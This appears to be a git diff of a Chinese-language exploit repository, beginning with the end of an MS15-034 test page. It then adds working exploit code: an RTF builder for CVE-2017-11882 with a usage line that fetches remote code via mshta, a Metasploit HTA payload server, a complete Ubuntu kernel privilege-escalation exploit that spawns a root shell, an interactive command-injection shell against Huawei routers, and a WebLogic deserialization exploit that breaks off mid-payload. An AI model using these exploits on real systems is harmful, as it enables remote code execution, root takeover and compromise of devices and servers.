<h1>HTTP.sys 堆栈漏洞测试</h1>
|
||||
<h3>输入一个URL或主机名来测试服务器的 <a href="https://technet.microsoft.com/en-us/library/security/ms15-034.aspx" target="_blank">MS15-034</a> / <a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1635" target="_blank">CVE-2015-1635</a>.</h3>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
<div>
|
||||
<blockquote>
|
||||
<p>在HTTP协议栈(HTTP.sys)造成当HTTP协议堆栈不正确地分析特制的HTTP请求的远程代码执行漏洞。成功利用此漏洞谁的攻击者可以在系统帐户的上下文中执行任意代码。</p>
|
||||
<p>要利用此漏洞,攻击者必须发送一个特制的HTTP请求发送到受影响的系统。此更新通过修改Windows HTTP协议栈处理请求解决该漏洞。</p>
|
||||
</blockquote>
|
||||
|
||||
<form id="js-form" method="GET">
|
||||
<div>
|
||||
<input type="text" class="form-control input-lg" id="js-input" placeholder="baidu.com" name="host" autofocus<?php if( $host !== false ) { echo '; value="'; . $host . ';"';; } ?>>
|
||||
<button type="submit" class="btn btn-primary btn-lg">检测</button>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
<?php if( $status !== false ) { echo $status; } ?>
|
||||
|
||||
<div>使用Memcached分布式内存对象缓存系统 | 所有的结果查询会被缓存五分钟</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
155
CVE_EXP/CVE-2017-11882/Command_CVE-2017-11882.py
Normal file
@ -0,0 +1,155 @@
|
||||
import argparse
|
||||
import sys
|
||||
|
||||
|
||||
RTF_HEADER = R"""{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}
|
||||
{\*\generator Riched20 6.3.9600}\viewkind4\uc1
|
||||
\pard\sa200\sl276\slmult1\f0\fs22\lang9"""
|
||||
|
||||
|
||||
RTF_TRAILER = R"""\par}
|
||||
"""
|
||||
|
||||
|
||||
OBJECT_HEADER = R"""{\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260{\*\objdata """
|
||||
|
||||
|
||||
OBJECT_TRAILER = R"""
|
||||
}{\result {\rtlch\fcs1 \af0 \ltrch\fcs0 \dn8\insrsid95542\charrsid95542 {\pict{\*\picprop\shplid1025{\sp{\sn shapeType}{\sv 75}}{\sp{\sn fFlipH}{\sv 0}}
|
||||
{\sp{\sn fFlipV}{\sv 0}}{\sp{\sn fLockAspectRatio}{\sv 1}}{\sp{\sn pictureGray}{\sv 0}}{\sp{\sn pictureBiLevel}{\sv 0}}{\sp{\sn fRecolorFillAsPicture}{\sv 0}}{\sp{\sn fUseShapeAnchor}{\sv 0}}{\sp{\sn fFilled}{\sv 0}}{\sp{\sn fHitTestFill}{\sv 1}}
|
||||
{\sp{\sn fillShape}{\sv 1}}{\sp{\sn fillUseRect}{\sv 0}}{\sp{\sn fNoFillHitTest}{\sv 0}}{\sp{\sn fLine}{\sv 0}}{\sp{\sn fPreferRelativeResize}{\sv 1}}{\sp{\sn fReallyHidden}{\sv 0}}
|
||||
{\sp{\sn fScriptAnchor}{\sv 0}}{\sp{\sn fFakeMaster}{\sv 0}}{\sp{\sn fCameFromImgDummy}{\sv 0}}{\sp{\sn fLayoutInCell}{\sv 1}}}\picscalex100\picscaley100\piccropl0\piccropr0\piccropt0\piccropb0
|
||||
\picw353\pich600\picwgoal200\pichgoal340\wmetafile8\bliptag1846300541\blipupi2307{\*\blipuid 6e0c4f7df03da08a8c6c623556e3c652}0100090000035100000000001200000000000500000009020000000005000000020101000000050000000102ffffff00050000002e0118000000050000000b02
|
||||
00000000050000000c02200240011200000026060f001a00ffffffff000010000000c0ffffffaaffffff00010000ca0100000b00000026060f000c004d61746854797065000040000a00000026060f000a00ffffffff010000000000030000000000}}}}
|
||||
"""
|
||||
|
||||
|
||||
OBJDATA_TEMPLATE = R"""
|
||||
01050000020000000b0000004571756174696f6e2e33000000000000000000000c0000d0cf11e0a1
|
||||
b11ae1000000000000000000000000000000003e000300feff090006000000000000000000000001
|
||||
0000000100000000000000001000000200000001000000feffffff0000000000000000ffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
fffffffffffffffffffffffffffffffffffffffffffffffffffffffdffffff04000000fefffffffe
|
||||
fffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e0074007200790000
|
||||
00000000000000000000000000000000000000000000000000000000000000000000000000000000
|
||||
00000016000500ffffffffffffffff0200000002ce020000000000c0000000000000460000000000
|
||||
000000000000008020cea5613cd30103000000000200000000000001004f006c0065000000000000
|
||||
00000000000000000000000000000000000000000000000000000000000000000000000000000000
|
||||
00000000000000000000000a000201ffffffffffffffffffffffff00000000000000000000000000
|
||||
0000000000000000000000000000000000000000000000000000001400000000000000010043006f
|
||||
006d0070004f0062006a000000000000000000000000000000000000000000000000000000000000
|
||||
00000000000000000000000000000000000000120002010100000003000000ffffffff0000000000
|
||||
00000000000000000000000000000000000000000000000000000000000000010000006600000000
|
||||
00000003004f0062006a0049006e0066006f00000000000000000000000000000000000000000000
|
||||
00000000000000000000000000000000000000000000000000000012000201ffffffff04000000ff
|
||||
ffffff00000000000000000000000000000000000000000000000000000000000000000000000003
|
||||
0000000600000000000000feffffff02000000fefffffffeffffff050000000600000007000000fe
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffff01000002080000000000000000000000000000000000000000000000000000000000000000
|
||||
0000000000000000000000000000000000000000000000000000000100feff030a0000ffffffff02
|
||||
ce020000000000c000000000000046170000004d6963726f736f6674204571756174696f6e20332e
|
||||
30000c0000004453204571756174696f6e000b0000004571756174696f6e2e3300f439b271000000
|
||||
00000000000000000000000000000000000000000000000000000000000000000000000000030004
|
||||
00000000000000000000000000000000000000000000000000000000000000000000000000000000
|
||||
000000000000000000000000000000000000001c00000002009ec4a900000000000000c8a75c00c4
|
||||
ee5b0000000000030101030a0a01085a5a4141414141414141414141414141414141414141414141
|
||||
414141414141414141414141414141414141414141120c4300000000000000000000000000000000
|
||||
00000000000000000000000000000000000000000000000000000000000000000000000000000000
|
||||
00000000000000000000000000000000000000000000000000000000000000000000000000000000
|
||||
00000000000000000000000000000000000000000000000000000000000000000000000000000000
|
||||
00000000000000000000000000000000000000000000000000000000000000000000004500710075
|
||||
006100740069006f006e0020004e0061007400690076006500000000000000000000000000000000
|
||||
0000000000000000000000000000000000000020000200ffffffffffffffffffffffff0000000000
|
||||
0000000000000000000000000000000000000000000000000000000000000004000000c500000000
|
||||
00000000000000000000000000000000000000000000000000000000000000000000000000000000
|
||||
00000000000000000000000000000000000000000000000000000000000000ffffffffffffffffff
|
||||
ffffff00000000000000000000000000000000000000000000000000000000000000000000000000
|
||||
00000000000000000000000000000000000000000000000000000000000000000000000000000000
|
||||
000000000000000000000000000000000000000000000000000000000000000000000000000000ff
|
||||
ffffffffffffffffffffff0000000000000000000000000000000000000000000000000000000000
|
||||
00000000000000000000000000000000000000000000000000000000000000000000000000000000
|
||||
00000000000000000000000000000000000000000000000000000000000000000000000000000000
|
||||
00000000000000ffffffffffffffffffffffff000000000000000000000000000000000000000000
|
||||
00000000000000000000000000000000000000000000000000000001050000050000000d0000004d
|
||||
45544146494c4550494354003421000035feffff9201000008003421cb010000010009000003c500
|
||||
000002001c00000000000500000009020000000005000000020101000000050000000102ffffff00
|
||||
050000002e0118000000050000000b0200000000050000000c02a001201e1200000026060f001a00
|
||||
ffffffff000010000000c0ffffffc6ffffffe01d0000660100000b00000026060f000c004d617468
|
||||
54797065000020001c000000fb0280fe0000000000009001000000000402001054696d6573204e65
|
||||
7720526f6d616e00feffffff6b2c0a0700000a0000000000040000002d0100000c000000320a6001
|
||||
90160a000000313131313131313131310c000000320a6001100f0a00000031313131313131313131
|
||||
0c000000320a600190070a000000313131313131313131310c000000320a600110000a0000003131
|
||||
31313131313131310a00000026060f000a00ffffffff0100000000001c000000fb02100007000000
|
||||
0000bc02000000000102022253797374656d000048008a0100000a000600000048008a01ffffffff
|
||||
7cef1800040000002d01010004000000f0010000030000000000
|
||||
"""
|
||||
|
||||
|
||||
COMMAND_OFFSET = 0x949*2
|
||||
|
||||
|
||||
def create_ole_exec_primitive(command):
|
||||
if len(command) > 43:
|
||||
print "[!] Primitive command must be shorter than 43 bytes"
|
||||
sys.exit(0)
|
||||
hex_command = command.encode("hex")
|
||||
objdata_hex_stream = OBJDATA_TEMPLATE.translate(None, "\r\n")
|
||||
ole_data = objdata_hex_stream[:COMMAND_OFFSET] + hex_command + objdata_hex_stream[COMMAND_OFFSET + len(hex_command):]
|
||||
return OBJECT_HEADER + ole_data + OBJECT_TRAILER
|
||||
|
||||
|
||||
|
||||
def create_rtf(header,command,trailer):
|
||||
ole1 = create_ole_exec_primitive(command + " &")
|
||||
|
||||
# We need 2 or more commands for executing remote file from WebDAV
|
||||
# because WebClient service start may take some time
|
||||
return header + ole1 + trailer
|
||||
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
parser = argparse.ArgumentParser(description="PoC for CVE-2017-11882")
|
||||
parser.add_argument("-c", "--command", help="Command to execute.", required=True)
|
||||
parser.add_argument('-o', "--output", help="Output exploit rtf", required=True)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
rtf_content = create_rtf(RTF_HEADER, args.command ,RTF_TRAILER)
|
||||
|
||||
output_file = open(args.output, "w")
|
||||
output_file.write(rtf_content)
|
||||
|
||||
print "[*] Done ! output file --> " + args.output
|
53
CVE_EXP/CVE-2017-11882/PS_shell.rb
Normal file
@ -0,0 +1,53 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Microsoft Office Payload Delivery',
|
||||
'Description' => %q{
|
||||
This module generates an command to place within
|
||||
a word document, that when executed, will retrieve a HTA payload
|
||||
via HTTP from an web server. Currently have not figured out how
|
||||
to generate a doc.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
['Automatic', {} ],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
))
|
||||
end
|
||||
|
||||
def on_request_uri(cli, _request)
|
||||
print_status("Delivering payload")
|
||||
p = regenerate_payload(cli)
|
||||
data = Msf::Util::EXE.to_executable_fmt(
|
||||
framework,
|
||||
ARCH_X86,
|
||||
'win',
|
||||
p.encoded,
|
||||
'hta-psh',
|
||||
{ :arch => ARCH_X86, :platform => 'win '}
|
||||
)
|
||||
send_response(cli, data, 'Content-Type' => 'application/hta')
|
||||
end
|
||||
|
||||
|
||||
def primer
|
||||
url = get_uri
|
||||
print_status("Place the following DDE in an MS document:")
|
||||
print_line("mshta.exe \"#{url}\"")
|
||||
end
|
||||
end
|
||||
|
12
CVE_EXP/CVE-2017-11882/README.md
Normal file
@ -0,0 +1,12 @@
|
||||
# CVE-2017-11882
|
||||
### 脚本来自于
|
||||
* [https://github.com/embedi/CVE-2017-11882](https://github.com/embedi/CVE-2017-11882)
|
||||
* Ridter[https://github.com/Ridter/CVE-2017-11882/](https://github.com/Ridter/CVE-2017-11882/)
|
||||
## Usage
|
||||
```txt
|
||||
python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
|
||||
```
|
||||
use mshta
|
||||
```txt
|
||||
python Command_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc
|
||||
```
|
15
CVE_EXP/CVE-2017-16995 Ubuntu 16.04 本地提权漏洞/README.md
Normal file
@ -0,0 +1,15 @@
|
||||
# Ubuntu 16.04 本地提权漏洞
|
||||
|
||||
## 影响
|
||||
```
|
||||
经过分析,提权代码中所使用的漏洞是Linux eBPF验证器漏洞(CVE-2017-16995与CVE-2017-16996),最早在2017年12月由Google Project 0的研究人员Jann Horn发现并报告,影响Linux内核版本4.4~4.14。并且在当月,Bruce Leidl在github放出了能在内核版本4.11上实现提权的漏洞利用代码。
|
||||
|
||||
而近日,Vitaly Nikolenko公开的提权代码能够影响最新版本的Ubuntu 16.04,是因为该发行版使用的Linux内核版本是4.4,也受到漏洞影响,并且在漏洞报告后的3个月内,Ubuntu一直未修复,猜测可能和Jann Horn的最早漏洞报告中未提及漏洞对4.4版本内核的影响有关。
|
||||
```
|
||||
## 利用
|
||||
|
||||
```
|
||||
gcc -o pwned ./upstream44.c
|
||||
chmod 777 pwned
|
||||
./pwned
|
||||
```
|
247
CVE_EXP/CVE-2017-16995 Ubuntu 16.04 本地提权漏洞/upstream44.c
Normal file
@ -0,0 +1,247 @@
|
||||
/*
|
||||
* Ubuntu 16.04.4 kernel priv esc
|
||||
*
|
||||
* all credits to @bleidl
|
||||
* - vnik
|
||||
*/
|
||||
|
||||
// Tested on:
|
||||
// 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64
|
||||
// if different kernel adjust CRED offset + check kernel stack size
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <string.h>
|
||||
#include <linux/bpf.h>
|
||||
#include <linux/unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/un.h>
|
||||
#include <sys/stat.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#define PHYS_OFFSET 0xffff880000000000
|
||||
#define CRED_OFFSET 0x5f8
|
||||
#define UID_OFFSET 4
|
||||
#define LOG_BUF_SIZE 65536
|
||||
#define PROGSIZE 328
|
||||
|
||||
int sockets[2];
|
||||
int mapfd, progfd;
|
||||
|
||||
char *__prog = "\xb4\x09\x00\x00\xff\xff\xff\xff"
|
||||
"\x55\x09\x02\x00\xff\xff\xff\xff"
|
||||
"\xb7\x00\x00\x00\x00\x00\x00\x00"
|
||||
"\x95\x00\x00\x00\x00\x00\x00\x00"
|
||||
"\x18\x19\x00\x00\x03\x00\x00\x00"
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
"\xbf\x91\x00\x00\x00\x00\x00\x00"
|
||||
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
|
||||
"\x07\x02\x00\x00\xfc\xff\xff\xff"
|
||||
"\x62\x0a\xfc\xff\x00\x00\x00\x00"
|
||||
"\x85\x00\x00\x00\x01\x00\x00\x00"
|
||||
"\x55\x00\x01\x00\x00\x00\x00\x00"
|
||||
"\x95\x00\x00\x00\x00\x00\x00\x00"
|
||||
"\x79\x06\x00\x00\x00\x00\x00\x00"
|
||||
"\xbf\x91\x00\x00\x00\x00\x00\x00"
|
||||
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
|
||||
"\x07\x02\x00\x00\xfc\xff\xff\xff"
|
||||
"\x62\x0a\xfc\xff\x01\x00\x00\x00"
|
||||
"\x85\x00\x00\x00\x01\x00\x00\x00"
|
||||
"\x55\x00\x01\x00\x00\x00\x00\x00"
|
||||
"\x95\x00\x00\x00\x00\x00\x00\x00"
|
||||
"\x79\x07\x00\x00\x00\x00\x00\x00"
|
||||
"\xbf\x91\x00\x00\x00\x00\x00\x00"
|
||||
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
|
||||
"\x07\x02\x00\x00\xfc\xff\xff\xff"
|
||||
"\x62\x0a\xfc\xff\x02\x00\x00\x00"
|
||||
"\x85\x00\x00\x00\x01\x00\x00\x00"
|
||||
"\x55\x00\x01\x00\x00\x00\x00\x00"
|
||||
"\x95\x00\x00\x00\x00\x00\x00\x00"
|
||||
"\x79\x08\x00\x00\x00\x00\x00\x00"
|
||||
"\xbf\x02\x00\x00\x00\x00\x00\x00"
|
||||
"\xb7\x00\x00\x00\x00\x00\x00\x00"
|
||||
"\x55\x06\x03\x00\x00\x00\x00\x00"
|
||||
"\x79\x73\x00\x00\x00\x00\x00\x00"
|
||||
"\x7b\x32\x00\x00\x00\x00\x00\x00"
|
||||
"\x95\x00\x00\x00\x00\x00\x00\x00"
|
||||
"\x55\x06\x02\x00\x01\x00\x00\x00"
|
||||
"\x7b\xa2\x00\x00\x00\x00\x00\x00"
|
||||
"\x95\x00\x00\x00\x00\x00\x00\x00"
|
||||
"\x7b\x87\x00\x00\x00\x00\x00\x00"
|
||||
"\x95\x00\x00\x00\x00\x00\x00\x00";
|
||||
|
||||
char bpf_log_buf[LOG_BUF_SIZE];
|
||||
|
||||
static int bpf_prog_load(enum bpf_prog_type prog_type,
|
||||
const struct bpf_insn *insns, int prog_len,
|
||||
const char *license, int kern_version) {
|
||||
union bpf_attr attr = {
|
||||
.prog_type = prog_type,
|
||||
.insns = (__u64)insns,
|
||||
.insn_cnt = prog_len / sizeof(struct bpf_insn),
|
||||
.license = (__u64)license,
|
||||
.log_buf = (__u64)bpf_log_buf,
|
||||
.log_size = LOG_BUF_SIZE,
|
||||
.log_level = 1,
|
||||
};
|
||||
|
||||
attr.kern_version = kern_version;
|
||||
|
||||
bpf_log_buf[0] = 0;
|
||||
|
||||
return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
|
||||
}
|
||||
|
||||
static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
|
||||
int max_entries) {
|
||||
union bpf_attr attr = {
|
||||
.map_type = map_type,
|
||||
.key_size = key_size,
|
||||
.value_size = value_size,
|
||||
.max_entries = max_entries
|
||||
};
|
||||
|
||||
return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
|
||||
}
|
||||
|
||||
static int bpf_update_elem(uint64_t key, uint64_t value) {
|
||||
union bpf_attr attr = {
|
||||
.map_fd = mapfd,
|
||||
.key = (__u64)&key,
|
||||
.value = (__u64)&value,
|
||||
.flags = 0,
|
||||
};
|
||||
|
||||
return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
|
||||
}
|
||||
|
||||
static int bpf_lookup_elem(void *key, void *value) {
|
||||
union bpf_attr attr = {
|
||||
.map_fd = mapfd,
|
||||
.key = (__u64)key,
|
||||
.value = (__u64)value,
|
||||
};
|
||||
|
||||
return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
|
||||
}
|
||||
|
||||
static void __exit(char *err) {
|
||||
fprintf(stderr, "error: %s\n", err);
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
static void prep(void) {
|
||||
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);
|
||||
if (mapfd < 0)
|
||||
__exit(strerror(errno));
|
||||
|
||||
progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
|
||||
(struct bpf_insn *)__prog, PROGSIZE, "GPL", 0);
|
||||
|
||||
if (progfd < 0)
|
||||
__exit(strerror(errno));
|
||||
|
||||
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
|
||||
__exit(strerror(errno));
|
||||
|
||||
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
|
||||
__exit(strerror(errno));
|
||||
}
|
||||
|
||||
static void writemsg(void) {
|
||||
char buffer[64];
|
||||
|
||||
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
|
||||
|
||||
if (n < 0) {
|
||||
perror("write");
|
||||
return;
|
||||
}
|
||||
if (n != sizeof(buffer))
|
||||
fprintf(stderr, "short write: %lu\n", n);
|
||||
}
|
||||
|
||||
#define __update_elem(a, b, c) \
|
||||
bpf_update_elem(0, (a)); \
|
||||
bpf_update_elem(1, (b)); \
|
||||
bpf_update_elem(2, (c)); \
|
||||
writemsg();
|
||||
|
||||
static uint64_t get_value(int key) {
|
||||
uint64_t value;
|
||||
|
||||
if (bpf_lookup_elem(&key, &value))
|
||||
__exit(strerror(errno));
|
||||
|
||||
return value;
|
||||
}
|
||||
|
||||
static uint64_t __get_fp(void) {
|
||||
__update_elem(1, 0, 0);
|
||||
|
||||
return get_value(2);
|
||||
}
|
||||
|
||||
static uint64_t __read(uint64_t addr) {
|
||||
__update_elem(0, addr, 0);
|
||||
|
||||
return get_value(2);
|
||||
}
|
||||
|
||||
static void __write(uint64_t addr, uint64_t val) {
|
||||
__update_elem(2, addr, val);
|
||||
}
|
||||
|
||||
static uint64_t get_sp(uint64_t addr) {
|
||||
return addr & ~(0x4000 - 1);
|
||||
}
|
||||
|
||||
static void pwn(void) {
|
||||
uint64_t fp, sp, task_struct, credptr, uidptr;
|
||||
|
||||
fp = __get_fp();
|
||||
if (fp < PHYS_OFFSET)
|
||||
__exit("bogus fp");
|
||||
|
||||
sp = get_sp(fp);
|
||||
if (sp < PHYS_OFFSET)
|
||||
__exit("bogus sp");
|
||||
|
||||
task_struct = __read(sp);
|
||||
|
||||
if (task_struct < PHYS_OFFSET)
|
||||
__exit("bogus task ptr");
|
||||
|
||||
printf("task_struct = %lx\n", task_struct);
|
||||
|
||||
credptr = __read(task_struct + CRED_OFFSET); // cred
|
||||
|
||||
if (credptr < PHYS_OFFSET)
|
||||
__exit("bogus cred ptr");
|
||||
|
||||
uidptr = credptr + UID_OFFSET; // uid
|
||||
if (uidptr < PHYS_OFFSET)
|
||||
__exit("bogus uid ptr");
|
||||
|
||||
printf("uidptr = %lx\n", uidptr);
|
||||
__write(uidptr, 0); // set both uid and gid to 0
|
||||
|
||||
if (getuid() == 0) {
|
||||
printf("spawning root shell\n");
|
||||
system("/bin/bash");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
__exit("not vulnerable?");
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
prep();
|
||||
pwn();
|
||||
|
||||
return 0;
|
||||
}
|
44
CVE_EXP/CVE-2017-17215/CVE-2017-17215.py
Normal file
@ -0,0 +1,44 @@
|
||||
import requests
|
||||
import sys
|
||||
|
||||
url_in = sys.argv[1]
|
||||
payload_url = url_in + "/ctrlt/DeviceUpgrade_1"
|
||||
payload_header = {'content-type': 'text/xml'}
|
||||
|
||||
|
||||
def payload_command (command_in):
|
||||
html_escape_table = {
|
||||
"&": "&",
|
||||
'"': """,
|
||||
"'": "'",
|
||||
">": ">",
|
||||
"<": "<",
|
||||
}
|
||||
command_filtered = "<string>"+"".join(html_escape_table.get(c, c) for c in command_in)+"</string>"
|
||||
payload_1 = "<?xml version = \"1.0\" ?>" \
|
||||
" <s:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:ns1=\"http://appleworld.com/api/schema\">" \
|
||||
" <s:Body>"\
|
||||
" <u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">"\
|
||||
" <NewStatusURL> $("+command_filtered+" > /tmp/1337g) </NewStatusURL>"\
|
||||
" <NewDownloadURL> $(cat /tmp/1337g) </NewDownloadURL>"\
|
||||
" </u:Upgrade>"\
|
||||
" </s:Body>" \
|
||||
" </s:Envelope>"
|
||||
return payload_1
|
||||
|
||||
def do_post(command_in):
|
||||
result = requests.post(payload_url, payload_command(command_in ),headers = payload_header)
|
||||
print result.content
|
||||
|
||||
|
||||
|
||||
|
||||
print "***************************************************** \n" \
|
||||
"**************** Coded By 1337g ****************** \n" \
|
||||
"* CVE-2017-17215 Remote Command Execute EXP * \n" \
|
||||
"***************************************************** \n"
|
||||
|
||||
while 1:
|
||||
command_in = raw_input("Eneter your command here: ")
|
||||
if command_in == "exit" : exit(0)
|
||||
do_post(command_in)
|
4
CVE_EXP/CVE-2017-17215/README.md
Normal file
@ -0,0 +1,4 @@
|
||||
# CVE-2017-17215
|
||||
Usage: CVE-2017-12149.py http://targetip:37215/
|
||||
I am so poor that cant afford to but a HUAWEI router XD so it is not tested on any machine~
|
||||
but the exp technically should be working
|
115
CVE_EXP/CVE-2018-2628 weblogic/CVE-2018-2628.py
Normal file
@ -0,0 +1,115 @@
|
||||
#coding = utf8
|
||||
import socket
|
||||
import time
|
||||
import re,os,sys,codecs
|
||||
|
||||
type = 'utf-8'
|
||||
reload(sys)
|
||||
sys.setdefaultencoding(type)
|
||||
IpFile=file('./weblogic1.txt')
|
||||
fp= codecs.open("./weblogic1_success.txt","a")
|
||||
timeout=15
|
||||
|
||||
|
||||
VUL=['CVE-2018-2628']
|
||||
PAYLOAD=['aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707737000a556e6963617374526566000e3130342e3235312e3232382e353000001b590000000001eea90b00000000000000000000000000000078']
|
||||
VER_SIG=['\\$Proxy[0-9]+']
|
||||
|
||||
def t3handshake(sock,server_addr):
|
||||
print '\n[*]Connecting to server...'.decode(type)
|
||||
sock.connect(server_addr)
|
||||
sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
|
||||
time.sleep(1)
|
||||
sock.recv(1024)
|
||||
|
||||
|
||||
def buildT3RequestObject(sock,port,server_addr):
|
||||
print '%s:%dcontent-successful...'.decode(type) %(server_addr[0],server_addr[1])
|
||||
data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f